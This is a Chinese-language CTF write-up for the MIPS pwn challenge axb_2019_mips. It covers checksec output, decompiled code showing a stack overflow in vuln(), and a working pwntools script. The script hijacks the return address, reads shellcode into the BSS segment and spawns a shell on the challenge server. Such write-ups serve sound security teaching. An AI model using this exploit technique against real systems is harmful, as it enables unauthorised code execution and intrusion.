解题所涉知识点：

泄露或修改内存数据：

1. 堆地址：
2. 栈地址：
3. libc地址：
4. BSS段地址：
   劫持程序执行流程：MIPS_ROP
   获得shell或flag：[[MIPS_Shellcode]] && [[MIPS劫持RA寄存器]]

题目类型：
MIPS_Pwn

相关知识点：

信息收集总结

题目信息：

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/axb_2019_mips]
└─$ file ./pwn2
./pwn2: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, not stripped
                                                                                                                    
┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/axb_2019_mips]
└─$ checksec --file=pwn2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified   Fortifiable     FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   82 Symbols      No      0  3pwn2

libc版本：
wp借鉴：buuoj Pwn writeup 216-220-CSDN博客

程序运行回馈

┌──(kali㉿kali)-[~/…/Pwn/BUU/MIPS/axb_2019_mips]
└─$ qemu-mipsel -L ./ ./pwn2
Welcome to MIPS pwn!
What's your name: 
brinmon
Hello!, brinmon
aaaaaaaaaaaaaaaaaaaaaaaa

核心伪代码分析：

存在利用的的代码：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[24]; // [sp+18h] [+18h] BYREF

  alarm(0x3Cu);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  memset(buf, 0, 0x14u);
  puts("Welcome to MIPS pwn!");
  puts("What's your name: ");
  read(0, buf, 0x14u);
  printf("Hello!, %s", buf);
  vuln();
  return 0;
}

ssize_t vuln()
{
  char buf[32]; // [sp+18h] [+18h] BYREF

  return read(0, buf, 0x200u);
}

存在栈溢出

分析：

本地无法打通:

远程打通

攻击思路总结

本地无法打通不知道为什么,通过栈溢出劫持返回地址调用read函数,通过寄存器传参向bss段写入shellcode,之后再劫持返回地址跳转到bss段!

脚本：

import argparse
from pwn import *
from LibcSearcher import *

# Parse command-line arguments
parser = argparse.ArgumentParser(description='Exploit script.')
parser.add_argument('-r', action='store_true', help='Run exploit remotely.')
parser.add_argument('-d', action='store_true', help='Run exploit in debug mode.')
args = parser.parse_args()

pwnfile = './pwn2'
elf = ELF(pwnfile)
context(log_level='debug', arch=elf.arch, os='linux')

is_remote = args.r
is_debug = args.d

if is_remote:
    sh = remote('node5.buuoj.cn', 29922)
else:
    if is_debug:
        sh = process(["qemu-mipsel", "-L", "./", "-g", "1234", pwnfile])
    else:
        sh = process(["qemu-mipsel", "-L", "./", pwnfile])

def mygdb():
    if not is_remote and is_debug:
        gdb.attach(sh, """target remote localhost:1234
                            b *0x400818  
                            c
			""")  # brva 0xe93
mygdb()
bss = 0x410B70
text_read = 0x4007E0
sh.sendafter(b"What's your name: \n",b"brinmon")
 

shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')

#ret2shellcode
payload = b'a'*(36-4)
#fp
payload += p32(bss + 0x200 - 0x40 + 0x28)
#调用read向bss段输入shellcode，然后ret到bss段
payload += p32(text_read)
 
sh.sendline(payload)
sleep(1)
payload = b'a'*(0x20+4)
#ra
payload += p32(bss + 0x200 + 0x28)+shellcode
sh.send(payload)
 
sh.interactive()